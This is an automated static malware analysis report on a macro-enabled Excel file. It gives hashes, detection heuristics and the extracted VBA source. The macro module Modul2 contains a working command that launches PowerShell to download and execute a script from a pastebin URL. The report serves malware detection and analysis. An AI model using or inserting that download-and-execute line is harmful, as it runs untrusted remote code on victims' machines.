Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f84e2c2e1589846e…

MALICIOUS

Office (OOXML)

18.8 KB Created: 2021-02-28 19:44:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-01
MD5: 937a1156aa0bfb4eb1d0e3449090d4da SHA-1: 2cb6e5e988f6b1a6bd454455beadb40d12658dd6 SHA-256: f84e2c2e1589846e4e6bb551c498655d5bfca964fe7e3617c333cd4b08186245
302 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Powershell-6057509-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Powershell-6057509-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        strOutput = Shell("cmd.exe /c ""powershell.exe Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/pGY0fw73')""")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        ActiveCell.FormulaR1C1 = "    strCommand = ""Powershell Echo Hello World"""
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        strOutput = Shell("cmd.exe /c ""powershell.exe Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/pGY0fw73')""")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pastebin.com/raw/pGY0fw73 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3118 bytes
SHA-256: 81afc66e4e04759990205b95d949854966d7845a8e5e6908ebfca06ecdfd456a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Modul1"
Sub test1()
Attribute test1.VB_ProcData.VB_Invoke_Func = " \n14"
'
' test1 Makro
'

'
    ActiveWindow.SmallScroll Down:=12
    Range("A16").Select
    ActiveWindow.SmallScroll Down:=27
    ActiveWindow.ScrollRow = 42
    ActiveWindow.ScrollRow = 41
    ActiveWindow.ScrollRow = 40
    ActiveWindow.ScrollRow = 39
    ActiveWindow.ScrollRow = 38
    ActiveWindow.ScrollRow = 36
    ActiveWindow.ScrollRow = 34
    ActiveWindow.ScrollRow = 32
    ActiveWindow.ScrollRow = 30
    ActiveWindow.ScrollRow = 27
    ActiveWindow.ScrollRow = 25
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 21
    ActiveWindow.ScrollRow = 19
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 14
    ActiveWindow.ScrollRow = 13
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 5
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 2
    ActiveWindow.ScrollRow = 1
    Range("A1").Select
    ActiveSheet.Paste
    ActiveWindow.SmallScroll Down:=6
    ActiveWindow.ScrollRow = 24
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 22
    ActiveWindow.ScrollRow = 21
    ActiveWindow.ScrollRow = 20
    ActiveWindow.ScrollRow = 19
    ActiveWindow.ScrollRow = 18
    ActiveWindow.ScrollRow = 17
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 15
    ActiveWindow.ScrollRow = 14
    ActiveWindow.ScrollRow = 12
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 10
    ActiveWindow.ScrollRow = 9
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 7
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 5
    ActiveWindow.ScrollRow = 4
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 2
    ActiveWindow.ScrollRow = 1
    Range("A2").Select
    ActiveCell.FormulaR1C1 = ""
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "    strCommand = ""Powershell Echo Hello World"""
    Range("A6").Select
    ChDir "C:\Users\Kassandra\Desktop"
    ActiveWorkbook.SaveAs Filename:="C:\Users\Kassandra\Desktop\test1.xlsm", _
        FileFormat:=xlOpenXMLWorkbookMacroEnabled, CreateBackup:=False
    Range("C7").Select
End Sub

Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul2"
Function RunAndGetCmd()
    strOutput = Shell("cmd.exe /c ""powershell.exe Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/pGY0fw73')""")
    'MsgBox strOutput
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 35328 bytes
SHA-256: aea0cd1e844640155f5b3c5be30aa9d511022371c941893215462ad96607b105
Detection
ClamAV: Doc.Dropper.Powershell-6057509-0
Obfuscation or payload: unlikely